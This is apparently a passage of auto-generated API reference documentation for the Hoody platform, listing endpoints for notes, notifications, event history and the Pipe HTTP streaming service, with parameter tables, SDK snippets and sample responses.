- **GET** `/api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records/search` — Search database records
- **GET** `/api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records/{recordId}` — Get a database record
- **PATCH** `/api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records/{recordId}` — Update a database record
- **DELETE** `/api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records/{recordId}` — Delete a database record

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:documents

**Page:** api/notes-documents

[Download Raw Markdown](./api/notes-documents.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/export-ticket` — Create secure HTML export ticket
- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/document` — Get document content
- **PUT** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/document` — Create or replace document
- **PATCH** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/document` — Merge document content
- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/blocks/{blockId}/svg` — Export drawing block as SVG

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:files

**Page:** api/notes-files

[Download Raw Markdown](./api/notes-files.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notes/notebooks/{notebookId}/files/{fileId}/tus` — Upload a file via TUS protocol
- **PATCH** `/api/v1/notes/notebooks/{notebookId}/files/{fileId}/tus` — Upload a file via TUS protocol
- **DELETE** `/api/v1/notes/notebooks/{notebookId}/files/{fileId}/tus` — Upload a file via TUS protocol
- **HEAD** `/api/v1/notes/notebooks/{notebookId}/files/{fileId}/tus` — Upload a file via TUS protocol
- **GET** `/api/v1/notes/notebooks/{notebookId}/files/{fileId}` — Download a file
- **GET** `/api/v1/notes/notebooks/{notebookId}/files` — List all uploaded files

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:health

**Page:** api/notes-health

[Download Raw Markdown](./api/notes-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/health` — Service health and runtime info

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:identity

**Page:** api/notes-identity

[Download Raw Markdown](./api/notes-identity.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/me` — Get current identity

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:interactions

**Page:** api/notes-interactions

[Download Raw Markdown](./api/notes-interactions.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/interactions/seen` — Mark node as seen
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/interactions/opened` — Mark node as opened

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:mutations

**Page:** api/notes-mutations

[Download Raw Markdown](./api/notes-mutations.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notes/notebooks/{notebookId}/mutations` — Sync client mutations

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:nodes

**Page:** api/notes-nodes

[Download Raw Markdown](./api/notes-nodes.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes` — List nodes
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes` — Create a node
- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/alias/{alias}` — Resolve page by alias
- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}` — Get a node
- **PATCH** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}` — Update a node
- **DELETE** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}` — Delete a node
- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/children` — List child nodes

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:notebooks

**Page:** api/notes-notebooks

[Download Raw Markdown](./api/notes-notebooks.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/notebooks` — List notebooks
- **POST** `/api/v1/notes/notebooks` — Create a notebook
- **GET** `/api/v1/notes/notebooks/{notebookId}` — Get notebook details
- **PATCH** `/api/v1/notes/notebooks/{notebookId}` — Update notebook settings
- **DELETE** `/api/v1/notes/notebooks/{notebookId}` — Delete a notebook

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:reactions

**Page:** api/notes-reactions

[Download Raw Markdown](./api/notes-reactions.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/reactions` — List reactions
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/reactions` — Add a reaction
- **DELETE** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/reactions/{reaction}` — Remove a reaction

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:sockets

**Page:** api/notes-sockets

[Download Raw Markdown](./api/notes-sockets.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notes/sockets` — Initialize a WebSocket session
- **GET** `/api/v1/notes/sockets/{socketId}` — Open a WebSocket connection

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:users

**Page:** api/notes-users

[Download Raw Markdown](./api/notes-users.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notes/notebooks/{notebookId}/users` — Invite users to notebook
- **PATCH** `/api/v1/notes/notebooks/{notebookId}/users/{userId}/role` — Update user role

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notes:versions

**Page:** api/notes-versions

[Download Raw Markdown](./api/notes-versions.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions` — List document versions
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions` — Create a document version snapshot
- **GET** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions/{versionId}` — Get a specific document version
- **DELETE** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions/{versionId}` — Delete a document version
- **POST** `/api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/versions/{versionId}/restore` — Restore a document version

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notifications:Health

**Page:** api/notifications-health

[Download Raw Markdown](./api/notifications-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notifications/health` — Service health check
- **GET** `/api/v1/notifications/metrics` — Prometheus-compatible metrics endpoint

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notifications:Icons

**Page:** api/notifications-icons

[Download Raw Markdown](./api/notifications-icons.md)

---

## API Endpoints Summary

- **GET** `/api/v1/notifications/icons/{iconId}` — Get notification icon

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notifications:Notifications

**Page:** api/notifications-notifications

[Download Raw Markdown](./api/notifications-notifications.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notifications/dismiss` — Dismiss notifications
- **DELETE** `/api/v1/notifications/dismiss` — Clear dismissed notifications
- **GET** `/api/v1/notifications/stream` — Real-time notification stream via WebSocket
- **GET** `/api/v1/notifications/{display}` — Get notifications for specified display(s)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notifications:Notify

**Page:** api/notifications-notify

[Download Raw Markdown](./api/notifications-notify.md)

---

## API Endpoints Summary

- **POST** `/api/v1/notifications/notify` — Trigger a new desktop notification

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Notifications & Events

**Page:** api/notifications

[Download Raw Markdown](./api/notifications.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Notifications & Events

The Notifications & Events API provides access to platform-level event history and user-facing notifications. Use these endpoints to query audit logs, retrieve aggregated event statistics, manage user notifications, and clean up old event records.

## Events

### `GET /api/v1/events`

Query event history with filtering, pagination, and sorting. Maximum 500 events per page.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `limit` | query | integer | No | Number of events to return (max 500). Default: `100` |
| `offset` | query | integer | No | Number of events to skip. Default: `0` |
| `sort_by` | query | string | No | Field to sort by. Allowed: `created_at`, `event_type`. Default: `"created_at"` |
| `sort_order` | query | string | No | Sort direction. Allowed: `asc`, `desc`. Default: `"desc"` |
| `event_type` | query | string | No | Filter by specific event type |
| `resource_type` | query | string | No | Filter by resource type |
| `resource_id` | query | string | No | Filter by specific resource ID |
| `project_id` | query | string | No | Filter by project ID |
| `container_id` | query | string | No | Filter by container ID |
| `start_date` | query | string | No | Filter events after this timestamp |
| `end_date` | query | string | No | Filter events before this timestamp |
| `realm_id` | query | string | No | Filter by realm ID |

#### SDK Usage

```ts
const stream = client.api.events.listIterator({
  limit: 100,
  sort_by: "created_at",
  sort_order: "desc",
});

for await (const event of stream) {
  console.log(event.event_type);
}
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Events retrieved successfully",
  "data": {
    "events": [
      {
        "id": "507f1f77bcf86cd799439044",
        "event_type": "container.running",
        "resource_type": "container",
        "resource_id": "507f1f77bcf86cd799439033",
        "user_id": "507f1f77bcf86cd799439011",
        "payload": {
          "container": {
            "id": "507f1f77bcf86cd799439033",
            "name": "web-app-1",
            "status": "running",
            "project_id": "507f1f77bcf86cd799439022"
          }
        },
        "realm_ids": ["507f1f77bcf86cd799439022"],
        "created_at": "2025-01-15T10:30:05.123Z"
      }
    ],
    "pagination": {
      "total": 1523,
      "limit": 100,
      "offset": 0,
      "has_more": true
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid date range: start_date cannot be after end_date"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_PARAMETER_VALUE` | Invalid parameter value | A parameter value is outside the allowed range or format | Ensure parameter values meet the documented constraints (min/max, format, regex) |
| `INVALID_DATE_RANGE` | Invalid date range | The start_date cannot be after the end_date | Ensure the start_date is before or the same as the end_date |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |



### `GET /api/v1/events/{id}`

Retrieve detailed information about a specific event.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Event ID |

#### SDK Usage

```ts
const event = await client.api.events.get({
  id: "507f1f77bcf86cd799439044",
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Event retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439044",
    "event_type": "container.running",
    "resource_type": "container",
    "resource_id": "507f1f77bcf86cd799439033",
    "user_id": "507f1f77bcf86cd799439011",
    "payload": {
      "container": {
        "id": "507f1f77bcf86cd799439033",
        "name": "web-app-1",
        "status": "running",
        "project_id": "507f1f77bcf86cd799439022"
      }
    },
    "realm_ids": ["507f1f77bcf86cd799439022"],
    "created_at": "2025-01-15T10:30:05.123Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Event not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `EVENT_NOT_FOUND` | Event not found | The requested event does not exist or has been deleted | Verify the event ID is correct and that you have access to this event |



### `GET /api/v1/events/stats`

Get aggregated statistics about event history.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `start_date` | query | string | No | Start of time range |
| `end_date` | query | string | No | End of time range |
| `realm_id` | query | string | No | Filter by realm |

#### SDK Usage

```ts
const stats = await client.api.events.getStats({
  start_date: "2025-01-01T00:00:00.000Z",
  end_date: "2025-01-31T23:59:59.999Z",
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Event statistics retrieved successfully",
  "data": {
    "total_events": 15234,
    "by_type": {
      "container.running": 3456,
      "container.stopped": 2134,
      "storage.share.mount_changed": 1523,
      "notification.read": 8121
    },
    "by_resource": {
      "container": 8765,
      "storage_share": 2456,
      "notification": 4013
    },
    "oldest_event": "2024-11-15T10:30:00.000Z",
    "newest_event": "2025-01-15T10:30:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid date range: start_date cannot be after end_date"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DATE_RANGE` | Invalid date range | The start_date cannot be after the end_date | Ensure the start_date is before or the same as the end_date |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |



### `POST /api/v1/events/cleanup`

Delete events older than the specified retention period. Admin access required.

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `retention_days` | integer | Yes | Delete events older than this many days (min: 1, max: 365) |

```json
{
  "retention_days": 30
}
```

#### SDK Usage

```ts
const result = await client.api.events.cleanup({
  retention_days: 30,
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Old events cleaned up successfully",
  "data": {
    "deleted_count": 5432,
    "retention_days": 30,
    "cutoff_date": "2024-12-15T10:30:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Admin access required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `ADMIN_ONLY` | Admin access required | This endpoint is only accessible to admin users | Contact an administrator if you need access to this functionality |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |



### `DELETE /api/v1/events`

Delete multiple events at once based on filters.

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `event_type` | string | No | Delete all events of this type |
| `resource_type` | string | No | Delete all events for this resource type |
| `resource_id` | string | No | Delete all events for this resource |
| `before_date` | string | No | Delete events before this date |
| `realm_id` | string | No | Delete events in this realm |

```json
{
  "resource_type": "container",
  "before_date": "2024-12-15T00:00:00.000Z"
}
```

#### SDK Usage

```ts
const result = await client.api.events.bulkDelete({
  resource_id: "507f1f77bcf86cd799439033",
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Events deleted successfully",
  "data": {
    "deleted_count": 1523
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Either filters or `all=true` must be provided for bulk delete"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_BULK_DELETE_PARAMS` | Invalid bulk delete parameters | You must provide at least one filter when performing a bulk delete, or set `all=true` to delete all events. | Provide one or more filters (e.g., resource_type, event_type) or use all=true to confirm deletion of all events. |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |



### `DELETE /api/v1/events/{id}`

Permanently delete an event from history.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Event ID to delete |

#### SDK Usage

```ts
await client.api.events.delete({
  id: "507f1f77bcf86cd799439044",
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Event deleted successfully"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Event not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `EVENT_NOT_FOUND` | Event not found | The requested event does not exist or has been deleted | Verify the event ID is correct and that you have access to this event |



## Notifications

### `GET /api/v1/notifications/`

Get all notifications for the authenticated user, including global notifications and notifications targeted to the user.

This endpoint takes no parameters.

#### SDK Usage

```ts
const stream = client.api.notifications.listIterator();

for await (const notification of stream) {
  console.log(notification.title);
}
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Notifications retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439030",
      "title": "System Maintenance Notice",
      "message": "Scheduled maintenance will occur on January 25th at 2:00 AM UTC.",
      "type": "MAINTENANCE",
      "severity": "WARNING",
      "is_public": true,
      "is_global": true,
      "target_user_ids": null,
      "expires_at": "2025-01-26T00:00:00.000Z",
      "created_at": "2025-01-20T10:00:00.000Z",
      "updated_at": "2025-01-20T10:00:00.000Z",
      "is_read": false,
      "read_at": null
    }
  ]
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```



### `GET /api/v1/notifications/public`

Get all public notifications. No authentication required.

This endpoint takes no parameters.

#### SDK Usage

```ts
const stream = client.api.notifications.listPublicIterator();

for await (const notification of stream) {
  console.log(notification.title);
}
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Public notifications retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439030",
      "title": "System Maintenance Notice",
      "message": "Scheduled maintenance will occur on January 25th at 2:00 AM UTC.",
      "type": "MAINTENANCE",
      "severity": "WARNING",
      "is_public": true,
      "is_global": true,
      "target_user_ids": null,
      "expires_at": "2025-01-26T00:00:00.000Z",
      "created_at": "2025-01-20T10:00:00.000Z",
      "updated_at": "2025-01-20T10:00:00.000Z"
    }
  ]
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```



### `PATCH /api/v1/notifications/{id}/read`

Mark a notification as read for the authenticated user.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the notification to mark as read |

#### SDK Usage

```ts
const result = await client.api.notifications.markRead({
  id: "507f1f77bcf86cd799439030",
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Notification marked as read",
  "data": {
    "id": "507f1f77bcf86cd799439150",
    "notification_id": "507f1f77bcf86cd799439030",
    "is_read": true,
    "read_at": "2025-01-21T21:30:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid notification ID"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "You do not have access to this notification"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Notification not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```



### `PATCH /api/v1/notifications/read-all`

Mark all notifications as read for the authenticated user.

This endpoint takes no parameters.

#### SDK Usage

```ts
const result = await client.api.notifications.markAllRead();
```

#### Response



```json
{
  "statusCode": 200,
  "message": "All notifications marked as read",
  "data": {
    "count": 5
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```




Event types cover a wide range of platform activity including container lifecycle (`container.running`, `container.stopped`), proxy and firewall changes, pool membership events, and user account actions. Use the `event_type` filter combined with `resource_type` to narrow down results when investigating specific activity.

---

# Pipe:Health

**Page:** api/pipe-health

[Download Raw Markdown](./api/pipe-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/pipe/health` — Service health check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Pipe:info

**Page:** api/pipe-info

[Download Raw Markdown](./api/pipe-info.md)

---

## API Endpoints Summary

- **GET** `/api/v1/pipe/version` — Get server version
- **GET** `/api/v1/pipe/help` — Get help text with curl examples

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Pipe:pipe

**Page:** api/pipe-pipe

[Download Raw Markdown](./api/pipe-pipe.md)

---

## API Endpoints Summary

- **GET** `/api/v1/pipe/{path}` — Receive data from a pipe
- **POST** `/api/v1/pipe/{path}` — Send data to a pipe
- **PUT** `/api/v1/pipe/{path}` — Send data to a pipe (PUT)
- **OPTIONS** `/api/v1/pipe/{path}` — CORS preflight

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Pipe:ui

**Page:** api/pipe-ui

[Download Raw Markdown](./api/pipe-ui.md)

---

## API Endpoints Summary

- **GET** `/api/v1/pipe` — Index page (web UI)
- **GET** `/api/v1/pipe/noscript` — No-JavaScript upload page

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Hoody Pipe

**Page:** api/pipe

[Download Raw Markdown](./api/pipe.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Hoody Pipe

The Pipe API streams data directly between HTTP clients over a single, shared URL. Data flows from sender to receiver with no server-side storage — useful for transferring files, text, or media between machines, containers, or browser sessions. Use these endpoints to send data, receive data, embed a video player, monitor transfer progress, or build a custom client on top of the Hoody Pipe service.

## Web Interface

### `GET /api/v1/pipe`

Returns the Hoody Pipe web interface — an HTML page for sending files or text to a pipe path from the browser. Also accessible at `/` (root alias).

This endpoint takes no parameters.



```json
{
  "description": "HTML page with the Hoody Pipe web interface",
  "content": {
    "text/html": {
      "schema": {
        "type": "string"
      }
    }
  }
}
```



```js
const html = await client.pipe.ui.getIndex();
```

### `GET /api/v1/pipe/noscript`

Returns a pure HTML form for file/text upload that works without JavaScript. Useful in restricted browser environments or when JavaScript is disabled.

The page uses a CSP with a style nonce that blocks scripts. Path values are sanitized (leading slashes stripped, only URL-safe characters retained).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | query | string | No | Pre-fill the pipe path. Only URL-safe characters allowed. |
| `mode` | query | string | No | Input mode: `file` for file picker, `text` for textarea. Allowed values: `file`, `text`. Default: `"file"`. |



```json
{
  "description": "HTML form page with CSP nonce",
  "content": {
    "text/html": {
      "schema": {
        "type": "string"
      }
    }
  }
}
```



```js
const html = await client.pipe.ui.getNoScript({
  path: "myfile",
  mode: "file"
});
```

## Service Info

### `GET /api/v1/pipe/health`

Returns the standardized 9-field health response. Unauthenticated. Only reachable at `/api/v1/pipe/health` — a bare `/health` returns 404 with the body `[ERROR] '/health' is not a valid path. Use '/api/v1/pipe/health'.\n`. Methods other than GET/HEAD/OPTIONS return 405 with `[ERROR] Method &lt;verb&gt; is not allowed.\n` and `Allow: GET, HEAD, OPTIONS`.

This endpoint takes no parameters.



```json
{
  "status": "ok",
  "service": "hoody-pipe",
  "built": "2024-01-15T10:30:00.000Z",
  "started": "2024-01-20T08:00:00.000Z",
  "memory": {
    "rss": 52428800,
    "heap": 15728640
  },
  "fds": 128,
  "pid": 12345,
  "ip": "10.0.0.5",
  "userAgent": "curl/8.4.0"
}
```



```js
const health = await client.pipe.health.check();
```

### `GET /api/v1/pipe/help`

Returns plain text usage instructions showing how to send and receive data using curl. The help text includes the server's own URL (derived from the Host header) so examples can be copied and run directly. Sections cover receiving data, sending files/text/directories with `curl -T`, `?download` and `?filename` control, `?video` browser playback, `?progress` transfer monitoring, and end-to-end encryption with OpenSSL. Also accessible at `/help`.

This endpoint takes no parameters.



```
Hoody Pipe 1.6.1
Streaming Data Transfer over HTTP

======= Get  =======
curl https://pipe.example.com/mypath
```



```js
const helpText = await client.pipe.info.getHelp();
```

## Data Transfer

### `GET /api/v1/pipe/{path}`

Receive data from the specified pipe path. The response blocks until a sender connects and starts streaming. Once established, the response body contains the sender's data with original headers forwarded.

**Lifecycle:**
1. Receiver GETs a path — request blocks
2. When a sender POSTs/PUTs to the same path with matching `n`, the pipe establishes
3. Response starts streaming with the sender's data
4. Response completes when the sender finishes uploading

**Headers forwarded from sender:**
- `Content-Type` — sender's content type (dangerous types rewritten to `text/plain`; foreign params dropped except a safe charset)
- `Content-Length` — only when the sender provided a valid `^\d{1,19}$` value AND the body is non-multipart (multipart parts use chunked encoding)
- `Content-Disposition` — if provided (e.g. `attachment; filename="report.pdf"`); a sender-supplied `inline` is upgraded to `attachment` unless the effective Content-Type is on the inline-safe allowlist (image/audio/video/text/plain/application/pdf, excluding `image/svg+xml`)
- `X-Piping` — custom metadata from sender
- `X-Hoody-Pipe` — custom metadata from sender

Forwarded headers are CRLF-sanitized (`Content-Disposition`, `X-Piping`, `X-Hoody-Pipe`) to prevent header injection.

**Download control:** Receivers can override Content-Disposition behavior using query parameters:
- `?download` — force `attachment` disposition (triggers browser download)
- `?download=false` — suppress Content-Disposition entirely (always display inline)
- `?filename=custom.txt` — set a custom download filename (implies `?download`)

These work per-receiver — with `n=2`, one receiver can download while the other displays inline.

